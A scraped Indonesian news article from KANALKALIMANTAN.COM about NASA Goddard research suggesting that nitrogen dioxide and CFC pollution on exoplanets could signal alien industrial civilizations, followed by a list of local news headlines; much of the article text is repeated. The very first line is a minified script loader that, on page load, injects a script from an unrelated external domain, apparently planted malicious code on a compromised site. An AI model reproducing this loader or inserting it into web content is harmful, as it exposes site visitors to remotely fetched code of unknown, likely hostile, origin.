(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Polusi Luar Angkasa Mungkin Bisa Jadi Tanda Kehidupan Alien


KANALKALIMANTAN.COM – Penelitian terbaru dari Pusat Penerbangan Luar Angkasa Goddard NASA di Maryland menyebut bahwa pencarian polusi alien di luar angkasa, dapat menjadi salah satu indikator menemukan planet ekstrasurya yang berpotensi dapat dihuni.

“Mengamati NO2 (nitrogen dioksida) di planet yang dapat dihuni berpotensi menunjukkan keberadaan peradaban industri,” kata Ravi Kopparapu, penulis utama dari Goddard, seperti dikutip dari CNET, Selasa (16/2/2021).

Di Bumi, sebagian besar nitrogen dioksida berasal dari aktivitas manusia, seperti emisi kendaraan dan pembangkit listrik berbahan bakar fosil.

Ilmuwan lain menganggap, chlorofluorocarbons (CFC) sebagai tanda kemungkinan aktivitas industri di luar Bumi.

 

Eksoplanet. [NASA]

Bahan itu telah digunakan di Bumi sebagai zat pendingin tetapi penggunaannya dihapuskan karena memiliki efek buruk pada lapisan ozon.

Rekan penulis penelitian Jacob Haqq-Misra dari Blue Marble Institute of Science di Seattle mencatat bahwa CFC juga dapat digunakan untuk membentuk dan menghangatkan atmosfer planet, seperti Mars agar lebih layak huni.

“Sejauh yang kami tahu, CFC sama sekali tidak diproduksi oleh biologi, jadi mereka memiliki tanda teknologi yang lebih jelas daripada NO2,” ucap Haqq-Misra.

Namun, dia menambahkan, CFC adalah bahan kimia manufaktur yang sangat spesifik yang mungkin tidak lazim di tempat lain.

“Sebagai perbandingan, NO2 adalah produk sampingan umum dari proses pembakaran apa pun,” ujar dia.

Masalahnya, NO2 juga dapat diproduksi melalui proses alami seperti gunung berapi dan petir. Dengan kata lain, observasi NO2 bisa menjadi positif palsu bagi kehidupan.

Penelitian terbaru dari Pusat Penerbangan Luar Angkasa Goddard NASA di Maryland menyebut bahwa pencarian polusi alien di luar angkasa, dapat menjadi salah satu indikator menemukan planet ekstrasurya yang berpotensi dapat dihuni.

“Mengamati NO2 (nitrogen dioksida) di planet yang dapat dihuni berpotensi menunjukkan keberadaan peradaban industri,” kata Ravi Kopparapu, penulis utama dari Goddard, seperti dikutip dari CNET, Selasa (16/2/2021).

Di Bumi, sebagian besar nitrogen dioksida berasal dari aktivitas manusia, seperti emisi kendaraan dan pembangkit listrik berbahan bakar fosil.

Ilmuwan lain menganggap, chlorofluorocarbons (CFC) sebagai tanda kemungkinan aktivitas industri di luar Bumi.

Eksoplanet. [NASA] di

Bahan itu telah digunakan di Bumi sebagai zat pendingin tetapi penggunaannya dihapuskan karena memiliki efek buruk pada lapisan ozon.

Rekan penulis penelitian Jacob Haqq-Misra dari Blue Marble Institute of Science di Seattle mencatat bahwa CFC juga dapat digunakan untuk membentuk dan menghangatkan atmosfer planet, seperti Mars agar lebih layak huni.

“Sejauh yang kami tahu, CFC sama sekali tidak diproduksi oleh biologi, jadi mereka memiliki tanda teknologi yang lebih jelas daripada NO2,” ucap Haqq-Misra.

Namun, dia menambahkan, CFC adalah bahan kimia manufaktur yang sangat spesifik yang mungkin tidak lazim di tempat lain.

“Sebagai perbandingan, NO2 adalah produk sampingan umum dari proses pembakaran apa pun,” ujar dia.

Masalahnya, NO2 juga dapat diproduksi melalui proses alami seperti gunung berapi dan petir. Dengan kata lain, observasi NO2 bisa menjadi positif palsu bagi kehidupan.

Rekan penulis Giada Arney dari NASA Goddard menjelaskan bahwa deteksi perlu dilakukan melalui model yang memperkirakan jumlah maksimum NO2, yang dapat dimiliki dunia asing dari sumber alam.

“Jika kami mengamati lebih banyak NO2 daripada yang disarankan model kami dari sumber non-industri, maka NO2 lainnya mungkin dikaitkan dengan aktivitas industri,” jelas Arney.

Walau begitu, selalu ada kemungkinan positif palsu dalam pencarian kehidupan di luar Bumi dan pekerjaan di masa depan, akan dibutuhkan untuk memastikan kepercayaan dalam membedakan positif benar dari positif palsu.

Tak hanya itu, kemungkinan juga awan dan aerosol di atmosfer planet bisa disalahartikan sebagai tanda NO2.

Ilustrasi penampakkan alien. [Shutterstock]

Karena itu, mencari polusi di planet lain akan membutuhkan model komputer yang lebih canggih untuk membantu menyaring semua potensi positif palsu.

NASA berharap dengan bantuan generasi baru teleskop seperti James Webb Space Telescope (JWST), akan mampu mendeteksi polusi alien di luar Bumi. (suara.com)


Al Ghifari

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

18 menit ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

1 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

3 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

4 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

5 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

5 jam ago

This website uses cookies.